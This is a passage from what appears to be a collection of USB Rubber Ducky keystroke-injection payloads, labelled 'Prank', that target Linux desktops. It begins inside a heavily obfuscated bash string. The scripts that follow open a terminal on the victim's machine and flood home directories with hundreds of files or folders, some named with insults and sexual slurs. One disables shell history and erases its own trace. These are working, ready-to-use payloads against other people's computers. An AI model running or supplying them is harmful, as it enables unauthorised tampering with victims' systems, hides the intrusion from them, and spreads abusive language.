<${##}))))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}$#))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\$#$((${##}<<$((${##}<<${##}))))$#\\$#$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}$#))\\$#$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}$#))\\$#$((${##}<<$((${##}<<${##}))))$#\\${##}$(($((${##}<<${##}))#${##}${##}$#))$#\\${##}$(($((${##}<<${##}))#${##}${##}${##}))${##}\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$#\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\$#$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\$#$((${##}<<$((${##}<<${##}))))$#\\${##}$((${##}<<${##}))$#\\${##}${##}$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<${##}))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}${##}))$#\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$#\\${##}$(($((${##}<<${##}))#${##}${##}${##}))${##}\\$#$((${##}<<$((${##}<<${##}))))$#\\$#$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\$#$(($((${##}<<${##}))#${##}${##}${##}))$(($((${##}<<${##}))#${##}${##}$#))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}$#))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\$#$((${##}<<$((${##}<<${##}))))$#\\$#$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}$#))\\$#$((${##}<<$((${##}<<${##}))))$#\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}$#${##}))${##}\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\'}
ENTER
DELAY 500
ALT F4
REM Title: File bomb
REM Author: FalsePhilosopher
REM Target: Unix-like tested on kubuntu 22.04
REM Props: Hak5, the community and memes
REM Version: 1.0
REM Category: Prank
REM Launches a terminal, spawns 420 txt files in each home dir, home, and root. Change the 420 to 100000 or something if you want more files.
REM
REM initialization delay
DELAY 300
REM Minimize all windows as that ensures launch happens smoother.
WINDOWS d
DELAY 300
CTRL-ALT t
DELAY 1500
REM STRING nohup cd /Home/Pictures && touch {1..420}.txt 2>/dev/null & cd /Home/Documents && touch {1..420}.txt 2>/dev/null & cd /Home/Music && touch {1..420}.txt 2>/dev/null & cd /Home/Videos && touch {1..420}.txt 2>/dev/null & cd /Home/Desktop && touch {1..420}.txt 2>/dev/null & cd /dev/shm && touch {1..420}.txt 2>/dev/null & cd .. && touch {1..420}.txt 2>/dev/null & disown
ENTER
DELAY 500
ALT F4
REM Title: File bomb word list tux style
REM Author: FalsePhilosopher
REM Target: Unix-like tested on kubuntu 22.04
REM Props: Hak5, strippers and memes
REM Version: 1.0
REM Category: Prank
REM changes to all the main dir's in home, then home, then root and creates negative named files in each
REM
REM initialization delay
DELAY 300
REM Minimize all windows as that ensures launch happens smoother.
WINDOWS d
DELAY 300
CTRL-ALT t
REM adjust delay as needed
DELAY 1500
REM sneak +1 don't delete the whole history or mess with size settings, just turn history off and delete the history change entry ;)
STRING set +o history
DELAY 200
ENTER
DELAY 200
REM STRING nohup cd /Home/Pictures && touch 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick >/dev/null && cd /Home/Documents && touch 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick >/dev/null && cd /Home/Music && touch 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick >/dev/null && cd /Home/Videos && touch 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick >/dev/null && cd /Home/Desktop && touch 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick >/dev/null && cd .. && touch 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick >/dev/null && cd .. && touch 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick && history | grep history && line=$(history | grep history | awk '{ print $1 }') && history -d $line && set -o history &
DELAY 500
ENTER
DELAY 300
ALT F4
source diff could not be displayed: it is too large. Options to address this: view the blob.
REM Title: File bomb word list tux style
REM Author: FalsePhilosopher
REM Target: Unix-like tested on kubuntu 22.04
REM Props: Hak5, strippers and memes
REM Version: 1.0
REM Category: Prank
REM changes to all the main dir's in home, then home, then root and creates negative named files in each, mean version which I used gpt3 to generate longer word list for a meaner script. Apparently I can only get it to say poopoo head over and over, so this is what I mined lol.
REM
REM initialization delay
DELAY 300
REM Minimize all windows as that ensures launch happens smoother.
WINDOWS d
DELAY 300
CTRL-ALT t
DELAY 1500
REM STRING nohup cd /Home/Pictures && touch 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick poopoo_breath cum_dumpster fart_breath ass_eater turd_burglar butt_munch crap_monster turd_face shit_stain shit_eater asshat asshole fuck_stick slut whore cunt dickhead shit_weasel prick motherfucker whorebag dickwad fucktard shitstain butt_pirate skank_fuck whore_monger dickwad shit_stain >/dev/null && cd /Home/Documents && touch 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick poopoo_breath cum_dumpster fart_breath ass_eater turd_burglar butt_munch crap_monster turd_face shit_stain shit_eater asshat asshole fuck_stick slut whore cunt dickhead shit_weasel prick motherfucker whorebag dickwad fucktard shitstain butt_pirate skank_fuck whore_monger dickwad shit_stain >/dev/null && cd /Home/Music && touch 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick poopoo_breath cum_dumpster fart_breath ass_eater turd_burglar butt_munch crap_monster turd_face shit_stain shit_eater asshat asshole fuck_stick slut whore cunt dickhead shit_weasel prick motherfucker whorebag dickwad fucktard shitstain butt_pirate skank_fuck whore_monger dickwad shit_stain >/dev/null && cd /Home/Videos && touch 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick poopoo_breath cum_dumpster fart_breath ass_eater turd_burglar butt_munch crap_monster turd_face shit_stain shit_eater asshat asshole fuck_stick slut whore cunt dickhead shit_weasel prick motherfucker whorebag dickwad fucktard shitstain butt_pirate skank_fuck whore_monger dickwad shit_stain >/dev/null && cd /Home/Desktop && touch 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick poopoo_breath cum_dumpster fart_breath ass_eater turd_burglar butt_munch crap_monster turd_face shit_stain shit_eater asshat asshole fuck_stick slut whore cunt dickhead shit_weasel prick motherfucker whorebag dickwad fucktard shitstain butt_pirate skank_fuck whore_monger dickwad shit_stain >/dev/null && cd .. && touch 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick poopoo_breath cum_dumpster fart_breath ass_eater turd_burglar butt_munch crap_monster turd_face shit_stain shit_eater asshat asshole fuck_stick slut whore cunt dickhead shit_weasel prick motherfucker whorebag dickwad fucktard shitstain butt_pirate skank_fuck whore_monger dickwad shit_stain >/dev/null && cd .. && touch 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick poopoo_breath cum_dumpster fart_breath ass_eater turd_burglar butt_munch crap_monster turd_face shit_stain shit_eater asshat asshole fuck_stick slut whore cunt dickhead shit_weasel prick motherfucker whorebag dickwad fucktard shitstain butt_pirate skank_fuck whore_monger dickwad shit_stain &
DELAY 2000
ENTER
DELAY 500
ALT F4
REM Title: File bomb
REM Author: FalsePhilosopher
REM Target: Unix-like tested on kubuntu 22.04
REM Props: Hak5, strippers and memes
REM Version: 1.0
REM Category: Prank
REM Reverse to the mean quack to not make your friends hate you, changes to all the main dir's in home, then home, then root and deletes negative named files in each.
REM initialization delay
DELAY 300
REM Minimize all windows as that ensures launch happens smoother.
WINDOWS d
DELAY 300
CTRL-ALT t
DELAY 1500
STRING cd /Home/Pictures && rm 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick poopoo_breath cum_dumpster fart_breath ass_eater turd_burglar butt_munch crap_monster turd_face shit_stain shit_eater asshat asshole fuck_stick slut whore cunt dickhead shit_weasel prick motherfucker whorebag dickwad fucktard shitstain butt_pirate skank_fuck whore_monger dickwad shit_stain && cd /Home/Documents && rm 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick poopoo_breath cum_dumpster fart_breath ass_eater turd_burglar butt_munch crap_monster turd_face shit_stain shit_eater asshat asshole fuck_stick slut whore cunt dickhead shit_weasel prick motherfucker whorebag dickwad fucktard shitstain butt_pirate skank_fuck whore_monger dickwad shit_stain && cd /Home/Music && rm 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick poopoo_breath cum_dumpster fart_breath ass_eater turd_burglar butt_munch crap_monster turd_face shit_stain shit_eater asshat asshole fuck_stick slut whore cunt dickhead shit_weasel prick motherfucker whorebag dickwad fucktard shitstain butt_pirate skank_fuck whore_monger dickwad shit_stain && cd /Home/Videos && rm 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick poopoo_breath cum_dumpster fart_breath ass_eater turd_burglar butt_munch crap_monster turd_face shit_stain shit_eater asshat asshole fuck_stick slut whore cunt dickhead shit_weasel prick motherfucker whorebag dickwad fucktard shitstain butt_pirate skank_fuck whore_monger dickwad shit_stain && cd /Home/Desktop && rm 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick poopoo_breath cum_dumpster fart_breath ass_eater turd_burglar butt_munch crap_monster turd_face shit_stain shit_eater asshat asshole fuck_stick slut whore cunt dickhead shit_weasel prick motherfucker whorebag dickwad fucktard shitstain butt_pirate skank_fuck whore_monger dickwad shit_stain && cd .. && rm 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick poopoo_breath cum_dumpster fart_breath ass_eater turd_burglar butt_munch crap_monster turd_face shit_stain shit_eater asshat asshole fuck_stick slut whore cunt dickhead shit_weasel prick motherfucker whorebag dickwad fucktard shitstain butt_pirate skank_fuck whore_monger dickwad shit_stain && cd .. && rm 2-faced stupid jerk dunce dipstick dork bonehead dingbat jackass mouth-breather dumb ugly fat whore slut fuck-stick poopoo_breath cum_dumpster fart_breath ass_eater turd_burglar butt_munch crap_monster turd_face shit_stain shit_eater asshat asshole fuck_stick slut whore cunt dickhead shit_weasel prick motherfucker whorebag dickwad fucktard shitstain butt_pirate skank_fuck whore_monger dickwad shit_stain
DELAY 2000
ENTER
REM Title: Folder Bomb Tux style
REM Author: FalsePhilosopher
REM Target: Unix-like tested on kubuntu 22.04.
REM Props: Hak5, the community and memes
REM Version: 1.0
REM Category: Prank
REM Launches a terminal, spawns 420 folders in each home dir, home, and root. Change the 420 to 100000 or something if you want more folders.
REM
DELAY 300
REM Minimize all windows as that ensures launch happens smoother.
WINDOWS d
DELAY 300
CTRL-ALT t
DELAY 2000
REM STRING nohup cd /Home/Pictures && mkdir folder{1..420} 2>/dev/null & cd /Home/Documents && mkdir folder{1..420} 2>/dev/null & cd /Home/Music && mkdir folder{1..420} 2>/dev/null & cd /Home/Videos && mkdir folder{1..420} 2>/dev/null & cd /Home/Desktop && mkdir folder{1..420} 2>/dev/null & cd .. && mkdir folder{1..420} 2>/dev/null & cd .. && mkdir folder{1..420} 2>/dev/null & disown
ENTER
DELAY 500
ALT F4